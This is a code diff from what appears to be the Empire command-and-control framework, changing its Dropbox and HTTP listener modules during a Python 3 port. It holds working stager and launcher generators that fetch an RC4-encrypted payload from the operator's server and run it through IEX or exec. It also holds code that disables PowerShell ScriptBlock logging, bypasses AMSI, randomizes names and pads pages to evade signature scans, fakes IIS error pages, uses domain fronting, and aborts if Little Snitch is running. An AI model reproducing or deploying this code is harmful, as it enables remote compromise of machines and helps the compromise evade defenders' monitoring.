614 $wc.Proxy = $Script:Proxy;
596 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy = $Script:Proxy;
615597 }
616598
617 $wc.Headers.Add('User-Agent', $Script:UserAgent)
618 $Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
599 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add('User-Agent', $Script:UserAgent)
600 $Script:Headers.GetEnumerator() | ForEach-Object {$"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add($_.Name, $_.Value)}
619601
620602 $ResultsFolder = "%s"
621603
624606 # download the file and append the new routing packet to it
625607 try {
626608 $Data = $Null
627 $wc.Headers.Set("Authorization", "Bearer $($Script:APIToken)");
628 $wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"$ResultsFolder/$($script:SessionID).txt`"}");
629 $Data = $wc.DownloadData("https://content.dropboxapi.com/2/files/download")
609 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Set("Authorization", "Bearer $($Script:APIToken)");
610 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Set("Dropbox-API-Arg", "{`"path`":`"$ResultsFolder/$($script:SessionID).txt`"}");
611 $Data = $"""+helpers.generate_random_script_var_name("wc")+""".DownloadData("https://content.dropboxapi.com/2/files/download")
630612 }
631613 catch { }
632614
634616 $RoutingPacket = $Data + $RoutingPacket
635617 }
636618
637 $wc2 = New-Object System.Net.WebClient
638 $wc2.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
639 $wc2.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
619 $"""+helpers.generate_random_script_var_name("wc")+"""2 = New-Object System.Net.WebClient
620 $"""+helpers.generate_random_script_var_name("wc")+"""2.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
621 $"""+helpers.generate_random_script_var_name("wc")+"""2.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
640622 if($Script:Proxy) {
641 $wc2.Proxy = $Script:Proxy;
623 $"""+helpers.generate_random_script_var_name("wc")+"""2.Proxy = $Script:Proxy;
642624 }
643625
644 $wc2.Headers.Add("Authorization", "Bearer $($Script:APIToken)")
645 $wc2.Headers.Add("Content-Type", "application/octet-stream")
646 $wc2.Headers.Add("Dropbox-API-Arg", "{`"path`":`"$ResultsFolder/$($script:SessionID).txt`"}");
647 $Null = $wc2.UploadData("https://content.dropboxapi.com/2/files/upload", "POST", $RoutingPacket)
626 $"""+helpers.generate_random_script_var_name("wc")+"""2.Headers.Add("Authorization", "Bearer $($Script:APIToken)")
627 $"""+helpers.generate_random_script_var_name("wc")+"""2.Headers.Add("Content-Type", "application/octet-stream")
628 $"""+helpers.generate_random_script_var_name("wc")+"""2.Headers.Add("Dropbox-API-Arg", "{`"path`":`"$ResultsFolder/$($script:SessionID).txt`"}");
629 $Null = $"""+helpers.generate_random_script_var_name("wc")+"""2.UploadData("https://content.dropboxapi.com/2/files/upload", "POST", $RoutingPacket)
648630 $script:MissedCheckins = 0
649631 }
650632 catch {
744726 sendMessage = sendMessage.replace('REPLACE_API_TOKEN', apiToken)
745727 return sendMessage
746728 else:
747 print helpers.color('[!] listeners/dbx generate_comms(): no language specified!')
729 print(helpers.color('[!] listeners/dbx generate_comms(): no language specified!'))
748730
749731
750732 def start_server(self, listenerOptions):
858840 try:
859841 dbx.users_get_current_account()
860842 except dropbox.exceptions.AuthError as err:
861 print helpers.color("[!] ERROR: Invalid access token; try re-generating an access token from the app console on the web.")
843 print(helpers.color("[!] ERROR: Invalid access token; try re-generating an access token from the app console on the web."))
862844 return False
863845
864846 # setup the base folder structure we need
903885 dbx.files_upload(stagerCodeps, "%s/debugps" % (stagingFolder))
904886 dbx.files_upload(stagerCodepy, "%s/debugpy" % (stagingFolder))
905887 except dropbox.exceptions.ApiError:
906 print helpers.color("[!] Error uploading stager to '%s/stager'" % (stagingFolder))
888 print(helpers.color("[!] Error uploading stager to '%s/stager'" % (stagingFolder)))
907889 return
908890
909891 while True:
11461128 """
11471129
11481130 if name and name != '':
1149 print helpers.color("[!] Killing listener '%s'" % (name))
1131 print(helpers.color("[!] Killing listener '%s'" % (name)))
11501132 self.threads[name].kill()
11511133 else:
1152 print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))
1134 print(helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value'])))
11531135 self.threads[self.options['Name']['Value']].kill()
+462
-411
lib/listeners/http.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import logging
14 import base64
25 import sys
36 import random
7 import string
48 import os
59 import ssl
610 import time
1721 from lib.common import messages
1822 from lib.common import templating
1923 from lib.common import obfuscation
20
21
22 class Listener:
23
24 from lib.common import bypasses
25
26
27 class Listener(object):
28
2429 def __init__(self, mainMenu, params=[]):
25
30
2631 self.info = {
2732 'Name': 'HTTP[S]',
28
33
2934 'Author': ['@harmj0y'],
30
35
3136 'Description': ('Starts a http[s] listener (PowerShell or Python) that uses a GET/POST approach.'),
32
33 'Category' : ('client_server'),
34
37
38 'Category': ('client_server'),
39
3540 'Comments': []
3641 }
37
42
3843 # any options needed by the stager, settable during runtime
3944 self.options = {
4045 # format:
4146 # value_name : {description, required, default_value}
42
43 'Name' : {
44 'Description' : 'Name for the listener.',
45 'Required' : True,
46 'Value' : 'http'
47 },
48 'Host' : {
49 'Description' : 'Hostname/IP for staging.',
50 'Required' : True,
51 'Value' : "http://%s:%s" % (helpers.lhost(), 80)
52 },
53 'BindIP' : {
54 'Description' : 'The IP to bind to on the control server.',
55 'Required' : True,
56 'Value' : '0.0.0.0'
57 },
58 'Port' : {
59 'Description' : 'Port for the listener.',
60 'Required' : True,
61 'Value' : 80
62 },
63 'Launcher' : {
64 'Description' : 'Launcher string.',
65 'Required' : True,
66 'Value' : 'powershell -noP -sta -w 1 -enc '
67 },
68 'StagingKey' : {
69 'Description' : 'Staging key for initial agent negotiation.',
70 'Required' : True,
71 'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa'
72 },
73 'DefaultDelay' : {
74 'Description' : 'Agent delay/reach back interval (in seconds).',
75 'Required' : True,
76 'Value' : 5
77 },
78 'DefaultJitter' : {
79 'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
80 'Required' : True,
81 'Value' : 0.0
82 },
83 'DefaultLostLimit' : {
84 'Description' : 'Number of missed checkins before exiting',
85 'Required' : True,
86 'Value' : 60
87 },
88 'DefaultProfile' : {
89 'Description' : 'Default communication profile for the agent.',
90 'Required' : True,
91 'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
92 },
93 'CertPath' : {
94 'Description' : 'Certificate path for https listeners.',
95 'Required' : False,
96 'Value' : ''
97 },
98 'KillDate' : {
99 'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
100 'Required' : False,
101 'Value' : ''
102 },
103 'WorkingHours' : {
104 'Description' : 'Hours for the agent to operate (09:00-17:00).',
105 'Required' : False,
106 'Value' : ''
107 },
108 'ServerVersion' : {
109 'Description' : 'Server header for the control server.',
110 'Required' : True,
111 'Value' : 'Microsoft-IIS/7.5'
112 },
113 'StagerURI' : {
114 'Description' : 'URI for the stager. Must use /download/. Example: /download/stager.php',
115 'Required' : False,
116 'Value' : ''
117 },
118 'UserAgent' : {
119 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
120 'Required' : False,
121 'Value' : 'default'
122 },
123 'Proxy' : {
124 'Description' : 'Proxy to use for request (default, none, or other).',
125 'Required' : False,
126 'Value' : 'default'
127 },
128 'ProxyCreds' : {
129 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
130 'Required' : False,
131 'Value' : 'default'
132 },
133 'SlackToken' : {
134 'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
135 'Required' : False,
136 'Value' : ''
137 },
138 'SlackChannel' : {
139 'Description' : 'The Slack channel or DM that notifications will be sent to.',
140 'Required' : False,
141 'Value' : '#general'
47
48 'Name': {
49 'Description': 'Name for the listener.',
50 'Required': True,
51 'Value': 'http'
52 },
53 'Host': {
54 'Description': 'Hostname/IP for staging.',
55 'Required': True,
56 'Value': "http://%s" % (helpers.lhost())
57 },
58 'BindIP': {
59 'Description': 'The IP to bind to on the control server.',
60 'Required': True,
61 'Value': '0.0.0.0'
62 },
63 'Port': {
64 'Description': 'Port for the listener.',
65 'Required': True,
66 'Value': ''
67 },
68 'Launcher': {
69 'Description': 'Launcher string.',
70 'Required': True,
71 'Value': 'powershell -noP -sta -w 1 -enc '
72 },
73 'StagingKey': {
74 'Description': 'Staging key for initial agent negotiation.',
75 'Required': True,
76 'Value': '2c103f2c4ed1e59c0b4e2e01821770fa'
77 },
78 'DefaultDelay': {
79 'Description': 'Agent delay/reach back interval (in seconds).',
80 'Required': True,
81 'Value': 5
82 },
83 'DefaultJitter': {
84 'Description': 'Jitter in agent reachback interval (0.0-1.0).',
85 'Required': True,
86 'Value': 0.0
87 },
88 'DefaultLostLimit': {
89 'Description': 'Number of missed checkins before exiting',
90 'Required': True,
91 'Value': 60
92 },
93 'DefaultProfile': {
94 'Description': 'Default communication profile for the agent.',
95 'Required': True,
96 'Value': "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
97 },
98 'CertPath': {
99 'Description': 'Certificate path for https listeners.',
100 'Required': False,
101 'Value': ''
102 },
103 'KillDate': {
104 'Description': 'Date for the listener to exit (MM/dd/yyyy).',
105 'Required': False,
106 'Value': ''
107 },
108 'WorkingHours': {
109 'Description': 'Hours for the agent to operate (09:00-17:00).',
110 'Required': False,
111 'Value': ''
112 },
113 'Headers': {
114 'Description': 'Headers for the control server.',
115 'Required': True,
116 'Value': 'Server:Microsoft-IIS/7.5'
117 },
118 'Cookie': {
119 'Description': 'Custom Cookie Name',
120 'Required': False,
121 'Value': ''
122 },
123 'StagerURI': {
124 'Description': 'URI for the stager. Must use /download/. Example: /download/stager.php',
125 'Required': False,
126 'Value': ''
127 },
128 'UserAgent': {
129 'Description': 'User-agent string to use for the staging request (default, none, or other).',
130 'Required': False,
131 'Value': 'default'
132 },
133 'Proxy': {
134 'Description': 'Proxy to use for request (default, none, or other).',
135 'Required': False,
136 'Value': 'default'
137 },
138 'ProxyCreds': {
139 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
140 'Required': False,
141 'Value': 'default'
142 },
143 'SlackToken': {
144 'Description': 'Your SlackBot API token to communicate with your Slack instance.',
145 'Required': False,
146 'Value': ''
147 },
148 'SlackChannel': {
149 'Description': 'The Slack channel or DM that notifications will be sent to.',
150 'Required': False,
151 'Value': '#general'
142152 }
143153 }
144
154
145155 # required:
146156 self.mainMenu = mainMenu
147157 self.threads = {}
148
158
149159 # optional/specific for this module
150160 self.app = None
151161 self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
152
162
153163 # set the default staging key to the controller db default
154164 self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
155
165
156166 # randomize the length of the default_response and index_page headers to evade signature based scans
157167 self.header_offset = random.randint(0, 64)
158
168
169 self.session_cookie = ''
170
171 # check if the current session cookie not empty and then generate random cookie
172 if self.session_cookie == '':
173 self.options['Cookie']['Value'] = self.generate_cookie()
174
159175 def default_response(self):
160176 """
161177 Returns an IIS 7.5 404 not found page.
162178 """
163
179
164180 return '\n'.join([
165181 '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
166182 '<html xmlns="http://www.w3.org/1999/xhtml">',
193209 '</html>',
194210 ' ' * self.header_offset, # randomize the length of the header to evade signature based detection
195211 ])
196
212
197213 def index_page(self):
198214 """
199215 Returns a default HTTP server page.
200216 """
201
217
202218 return '\n'.join([
203219 '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
204220 '<html xmlns="http://www.w3.org/1999/xhtml">',
233249 '</body>',
234250 '</html>',
235251 ])
236
252
237253 def validate_options(self):
238254 """
239255 Validate all options for this listener.
240256 """
241
257
242258 self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
243
259
244260 for key in self.options:
245261 if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
246 print helpers.color("[!] Option \"%s\" is required." % (key))
262 print(helpers.color("[!] Option \"%s\" is required." % (key)))
247263 return False
248
264 # If we've selected an HTTPS listener without specifying CertPath, let us know.
265 if self.options['Host']['Value'].startswith('https') and self.options['CertPath']['Value'] == '':
266 print(helpers.color("[!] HTTPS selected but no CertPath specified."))
267 return False
249268 return True
250
251
252 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
269
270 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default',
271 proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='',
272 listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False):
253273 """
254274 Generate a basic launcher for the specified listener.
255275 """
256
257276 if not language:
258 print helpers.color('[!] listeners/http generate_launcher(): no language specified!')
259
260 if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
261
277 print(helpers.color('[!] listeners/http generate_launcher(): no language specified!'))
278
279 if listenerName and (listenerName in self.threads) and (
280 listenerName in self.mainMenu.listeners.activeListeners):
281
262282 # extract the set options for this instantiated listener
263283 listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
264284 host = listenerOptions['Host']['Value']
268288 uris = [a for a in profile.split('|')[0].split(',')]
269289 stage0 = random.choice(uris)
270290 customHeaders = profile.split('|')[2:]
271
291
292 cookie = listenerOptions['Cookie']['Value']
293 # generate new cookie if the current session cookie is empty to avoid empty cookie if create multiple listeners
294 if cookie == '':
295 generate = self.generate_cookie()
296 listenerOptions['Cookie']['Value'] = generate
297 cookie = generate
298
272299 if language.startswith('po'):
273300 # PowerShell
274
275301 stager = '$ErrorActionPreference = \"SilentlyContinue\";'
302
276303 if safeChecks.lower() == 'true':
277304 stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
278
279305 # ScriptBlock Logging bypass
280 stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
281 stager += "'System.Management.Automation.Utils'"
282 stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
283 stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
284 stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
285 stager += "['ScriptB'+'lockLogging']"
286 stager += helpers.randomize_capitalization("){$GPC")
287 stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
288 stager += helpers.randomize_capitalization("$GPC")
289 stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
290 stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
291 stager += "('EnableScriptB'+'lockLogging',0);"
292 stager += helpers.randomize_capitalization("$val.Add")
293 stager += "('EnableScriptBlockInvocationLogging',0);"
294 stager += helpers.randomize_capitalization("$GPC")
295 stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
296 stager += helpers.randomize_capitalization("=$val}")
297 stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
298 stager += "'signatures','N'+'onPublic,Static'"
299 stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
300
306 if scriptLogBypass:
307 stager += bypasses.scriptBlockLogBypass()
301308 # @mattifestation's AMSI bypass
302 stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
303 stager += "'System.Management.Automation.AmsiUtils'"
304 stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
305 stager += "'amsiInitFailed','NonPublic,Static'"
306 stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
309 if AMSIBypass:
310 stager += bypasses.AMSIBypass()
311 # rastamouse AMSI bypass
312 if AMSIBypass2:
313 stager += bypasses.AMSIBypass2()
307314 stager += "};"
308315 stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
309
310 stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
311
316
317 stager += helpers.randomize_capitalization(
318 "$" + helpers.generate_random_script_var_name("wc") + "=New-Object System.Net.WebClient;")
312319 if userAgent.lower() == 'default':
313320 profile = listenerOptions['DefaultProfile']['Value']
314321 userAgent = profile.split('|')[1]
315 stager += "$u='"+userAgent+"';"
316
322 stager += "$u='" + userAgent + "';"
317323 if 'https' in host:
318324 # allow for self-signed certificates for https connections
319325 stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
320
326
321327 if userAgent.lower() != 'none':
322 stager += helpers.randomize_capitalization('$wc.Headers.Add(')
328 stager += helpers.randomize_capitalization(
329 "$" + helpers.generate_random_script_var_name("wc") + '.Headers.Add(')
323330 stager += "'User-Agent',$u);"
324
325 if proxy.lower() != 'none':
326 if proxy.lower() == 'default':
327 stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
328 else:
329 # TODO: implement form for other proxy
330 stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('")
331 stager += proxy.lower()
332 stager += helpers.randomize_capitalization("');")
333 stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
334 if proxyCreds.lower() != 'none':
335 if proxyCreds.lower() == "default":
336 stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
331 if proxy.lower() != 'none':
332 if proxy.lower() == 'default':
333 stager += helpers.randomize_capitalization("$" + helpers.generate_random_script_var_name(
334 "wc") + ".Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
337335 else:
338 # TODO: implement form for other proxy credentials
339 username = proxyCreds.split(':')[0]
340 password = proxyCreds.split(':')[1]
341 if len(username.split('\\')) > 1:
342 usr = username.split('\\')[1]
343 domain = username.split('\\')[0]
344 stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
336 # TODO: implement form for other proxy
337 stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('")
338 stager += proxy.lower()
339 stager += helpers.randomize_capitalization("');")
340 stager += helpers.randomize_capitalization(
341 "$" + helpers.generate_random_script_var_name("wc") + ".Proxy = $proxy;")
342 if proxyCreds.lower() != 'none':
343 if proxyCreds.lower() == "default":
344 stager += helpers.randomize_capitalization(
345 "$" + helpers.generate_random_script_var_name(
346 "wc") + ".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
345347 else:
346 usr = username.split('\\')[0]
347 stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');"
348 stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
349 else:
350 stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();")
351 #save the proxy settings to use during the entire staging process and the agent
352 stager += "$Script:Proxy = $wc.Proxy;"
353
348 # TODO: implement form for other proxy credentials
349 username = proxyCreds.split(':')[0]
350 password = proxyCreds.split(':')[1]
351 if len(username.split('\\')) > 1:
352 usr = username.split('\\')[1]
353 domain = username.split('\\')[0]
354 stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');"
355 else:
356 usr = username.split('\\')[0]
357 stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "');"
358 stager += helpers.randomize_capitalization(
359 "$" + helpers.generate_random_script_var_name(
360 "wc") + ".Proxy.Credentials = $netcred;")
361 # save the proxy settings to use during the entire staging process and the agent
362 stager += "$Script:Proxy = $" + helpers.generate_random_script_var_name("wc") + ".Proxy;"
354363 # TODO: reimplement stager retries?
355 #check if we're using IPv6
364 # check if we're using IPv6
356365 listenerOptions = copy.deepcopy(listenerOptions)
357366 bindIP = listenerOptions['BindIP']['Value']
358367 port = listenerOptions['Port']['Value']
362371 host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
363372 else:
364373 host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
365
374
366375 # code to turn the key string into a byte array
367376 stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
368377 stager += "'%s');" % (stagingKey)
369
370378 # this is the minimized RC4 stager code from rc4.ps1
371 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
372
379 stager += helpers.randomize_capitalization(
380 '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
373381 # prebuild the request routing packet for the launcher
374 routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
382 routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL',
383 meta='STAGE0', additional='None', encData='')
375384 b64RoutingPacket = base64.b64encode(routingPacket)
376
377 stager += "$ser='%s';$t='%s';" % (host, stage0)
378 #Add custom headers if any
385 stager += "$ser=" + helpers.obfuscate_call_home_address(host) + ";$t='" + stage0 + "';"
386 # Add custom headers if any
379387 if customHeaders != []:
380388 for header in customHeaders:
381389 headerKey = header.split(':')[0]
382390 headerValue = header.split(':')[1]
383 #If host header defined, assume domain fronting is in use and add a call to the base URL first
384 #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
391 # If host header defined, assume domain fronting is in use and add a call to the base URL first
392 # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
385393 if headerKey.lower() == "host":
386 stager += helpers.randomize_capitalization("try{$ig=$WC.DownloadData($ser)}catch{};")
387
388 stager += helpers.randomize_capitalization("$wc.Headers.Add(")
394 stager += helpers.randomize_capitalization(
395 "try{$ig=$" + helpers.generate_random_script_var_name(
396 "wc") + ".DownloadData($ser)}catch{};")
397
398 stager += helpers.randomize_capitalization(
399 "$" + helpers.generate_random_script_var_name("wc") + ".Headers.Add(")
389400 stager += "\"%s\",\"%s\");" % (headerKey, headerValue)
390
391401 # add the RC4 packet to a cookie
392
393 stager += helpers.randomize_capitalization("$wc.Headers.Add(")
394 stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
395
396
397 stager += helpers.randomize_capitalization("$data=$WC.DownloadData($ser+$t);")
402 stager += helpers.randomize_capitalization(
403 "$" + helpers.generate_random_script_var_name("wc") + ".Headers.Add(")
404 stager += "\"Cookie\",\"%s=%s\");" % (cookie, b64RoutingPacket.decode('UTF-8'))
405 stager += helpers.randomize_capitalization(
406 "$data=$" + helpers.generate_random_script_var_name("wc") + ".DownloadData($ser+$t);")
398407 stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
399
400408 # decode everything and kick it over to IEX to kick off execution
401409 stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
402
403410 if obfuscate:
404411 stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
405412 # base64 encode the stager and return it
408415 else:
409416 # otherwise return the case-randomized stager
410417 return stager
411
418
412419 if language.startswith('py'):
413420 # Python
414
421
415422 launcherBase = 'import sys;'
416423 if "https" in host:
417424 # monkey patch ssl woohooo
418425 launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
419
426
420427 try:
421428 if safeChecks.lower() == 'true':
422429 launcherBase += "import re, subprocess;"
423430 launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
424 launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
425 launcherBase += "out = ps.stdout.read()\n"
426 launcherBase += "ps.stdout.close()\n"
431 launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
432 launcherBase += "out, err = ps.communicate()\n"
427433 launcherBase += "if re.search(\"Little Snitch\", out):\n"
428434 launcherBase += " sys.exit()\n"
429435 except Exception as e:
430436 p = "[!] Error setting LittleSnitch in stager: " + str(e)
431 print helpers.color(p, color='red')
432
437 print(helpers.color(p, color='red'))
438
433439 if userAgent.lower() == 'default':
434440 profile = listenerOptions['DefaultProfile']['Value']
435441 userAgent = profile.split('|')[1]
436
442
437443 launcherBase += "import urllib2;\n"
438444 launcherBase += "UA='%s';" % (userAgent)
439445 launcherBase += "server='%s';t='%s';" % (host, stage0)
440
446
441447 # prebuild the request routing packet for the launcher
442 routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='')
448 routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON',
449 meta='STAGE0', additional='None', encData='')
443450 b64RoutingPacket = base64.b64encode(routingPacket)
444
451
445452 launcherBase += "req=urllib2.Request(server+t);\n"
446453 # add the RC4 packet to a cookie
447 launcherBase += "req.add_header('User-Agent',UA);\n"
448 launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % (b64RoutingPacket)
454 launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket)
449455
450456 # Add custom headers if any
451457 if customHeaders != []:
452458 for header in customHeaders:
453459 headerKey = header.split(':')[0]
454460 headerValue = header.split(':')[1]
455 #launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue)
461 # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue)
456462 launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue)
457
458
463
459464 if proxy.lower() != "none":
460465 if proxy.lower() == "default":
461466 launcherBase += "proxy = urllib2.ProxyHandler();\n"
462467 else:
463468 proto = proxy.split(':')[0]
464 launcherBase += "proxy = urllib2.ProxyHandler({'"+proto+"':'"+proxy+"'});\n"
465
469 launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n"
470
466471 if proxyCreds != "none":
467472 if proxyCreds == "default":
468473 launcherBase += "o = urllib2.build_opener(proxy);\n"
470475 launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
471476 username = proxyCreds.split(':')[0]
472477 password = proxyCreds.split(':')[1]
473 launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
478 launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n"
474479 launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
475480 else:
476481 launcherBase += "o = urllib2.build_opener(proxy);\n"
477482 else:
478483 launcherBase += "o = urllib2.build_opener();\n"
479
480 #install proxy and creds globally, so they can be used with urlopen.
484
485 # install proxy and creds globally, so they can be used with urlopen.
481486 launcherBase += "urllib2.install_opener(o);\n"
482
487
483488 # download the stager and extract the IV
484
489
485490 launcherBase += "a=urllib2.urlopen(req).read();\n"
486491 launcherBase += "IV=a[0:4];"
487492 launcherBase += "data=a[4:];"
488493 launcherBase += "key=IV+'%s';" % (stagingKey)
489
494
490495 # RC4 decryption
491496 launcherBase += "S,j,out=range(256),0,[]\n"
492497 launcherBase += "for i in range(256):\n"
499504 launcherBase += " S[i],S[j]=S[j],S[i]\n"
500505 launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
501506 launcherBase += "exec(''.join(out))"
502
507
503508 if encode:
504509 launchEncoded = base64.b64encode(launcherBase)
505 launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded)
510 launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (
511 launchEncoded)
506512 return launcher
507513 else:
508514 return launcherBase
509
515
510516 else:
511 print helpers.color("[!] listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module.")
512
517 print(helpers.color(
518 "[!] listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module."))
519
513520 else:
514 print helpers.color("[!] listeners/http generate_launcher(): invalid listener name specification!")
515
516
517 def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None):
521 print(helpers.color("[!] listeners/http generate_launcher(): invalid listener name specification!"))
522
523 def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="",
524 language=None):
518525 """
519526 Generate the stager code needed for communications with this listener.
520527 """
521
528
522529 if not language:
523 print helpers.color('[!] listeners/http generate_stager(): no language specified!')
530 print(helpers.color('[!] listeners/http generate_stager(): no language specified!'))
524531 return None
525
526
532
527533 profile = listenerOptions['DefaultProfile']['Value']
528534 uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
